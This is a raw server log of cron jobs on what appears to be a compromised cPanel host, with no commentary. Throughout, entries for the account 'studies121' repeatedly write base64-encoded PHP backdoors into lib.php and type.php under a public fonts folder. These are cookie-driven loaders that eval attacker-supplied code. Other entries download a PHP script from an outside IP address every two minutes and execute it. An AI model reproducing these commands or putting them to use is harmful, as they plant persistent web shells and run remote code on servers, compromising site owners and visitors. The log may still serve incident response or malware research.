Sep  8 10:51:02 ip-184-168-122-23 CROND[3546]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 10:51:02 ip-184-168-122-23 CROND[3548]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 10:51:02 ip-184-168-122-23 CROND[3549]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:51:02 ip-184-168-122-23 CROND[3550]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:52:01 ip-184-168-122-23 CROND[3779]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 10:52:01 ip-184-168-122-23 CROND[3780]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 10:52:01 ip-184-168-122-23 CROND[3781]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:52:01 ip-184-168-122-23 CROND[3785]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:52:01 ip-184-168-122-23 CROND[3786]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 10:53:01 ip-184-168-122-23 CROND[4007]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:53:01 ip-184-168-122-23 CROND[4009]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 10:53:01 ip-184-168-122-23 CROND[4010]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:53:01 ip-184-168-122-23 CROND[4013]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 10:54:01 ip-184-168-122-23 CROND[4196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 10:54:01 ip-184-168-122-23 CROND[4195]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 10:54:01 ip-184-168-122-23 CROND[4197]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:54:01 ip-184-168-122-23 CROND[4193]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 10:54:01 ip-184-168-122-23 CROND[4194]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:55:01 ip-184-168-122-23 CROND[4811]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 10:55:01 ip-184-168-122-23 CROND[4813]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:55:01 ip-184-168-122-23 CROND[4814]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 10:55:01 ip-184-168-122-23 CROND[4816]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 10:55:01 ip-184-168-122-23 CROND[4817]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 10:55:01 ip-184-168-122-23 CROND[4815]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:56:01 ip-184-168-122-23 CROND[5148]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 10:56:01 ip-184-168-122-23 CROND[5150]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 10:56:01 ip-184-168-122-23 CROND[5152]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 10:56:01 ip-184-168-122-23 CROND[5153]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:56:01 ip-184-168-122-23 CROND[5151]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:57:01 ip-184-168-122-23 CROND[5256]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:57:01 ip-184-168-122-23 CROND[5258]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 10:57:01 ip-184-168-122-23 CROND[5259]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 10:57:01 ip-184-168-122-23 CROND[5261]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:58:01 ip-184-168-122-23 CROND[5384]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 10:58:01 ip-184-168-122-23 CROND[5388]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 10:58:01 ip-184-168-122-23 CROND[5389]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:58:01 ip-184-168-122-23 CROND[5387]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:58:01 ip-184-168-122-23 CROND[5386]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 10:59:01 ip-184-168-122-23 CROND[5482]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 10:59:01 ip-184-168-122-23 CROND[5484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:59:01 ip-184-168-122-23 CROND[5486]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:59:01 ip-184-168-122-23 CROND[5491]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 11:00:01 ip-184-168-122-23 CROND[5604]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 11:00:01 ip-184-168-122-23 CROND[5607]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 11:00:01 ip-184-168-122-23 CROND[5609]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 11:00:01 ip-184-168-122-23 CROND[5610]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 11:00:01 ip-184-168-122-23 CROND[5613]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 11:00:01 ip-184-168-122-23 CROND[5614]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:00:01 ip-184-168-122-23 CROND[5612]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 11:00:01 ip-184-168-122-23 CROND[5608]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:01:01 ip-184-168-122-23 CROND[5744]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 11:01:01 ip-184-168-122-23 CROND[5747]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 11:01:01 ip-184-168-122-23 CROND[5746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:01:01 ip-184-168-122-23 CROND[5749]: (root) CMD (run-parts /etc/cron.hourly)
Sep  8 11:01:01 ip-184-168-122-23 CROND[5751]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 11:01:01 ip-184-168-122-23 CROND[5748]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[5749]: starting 0anacron
Sep  8 11:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[5767]: finished 0anacron
Sep  8 11:02:01 ip-184-168-122-23 CROND[5941]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 11:02:01 ip-184-168-122-23 CROND[5944]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 11:02:01 ip-184-168-122-23 CROND[5943]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:02:01 ip-184-168-122-23 CROND[5947]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 11:02:01 ip-184-168-122-23 CROND[5948]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:03:01 ip-184-168-122-23 CROND[6049]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
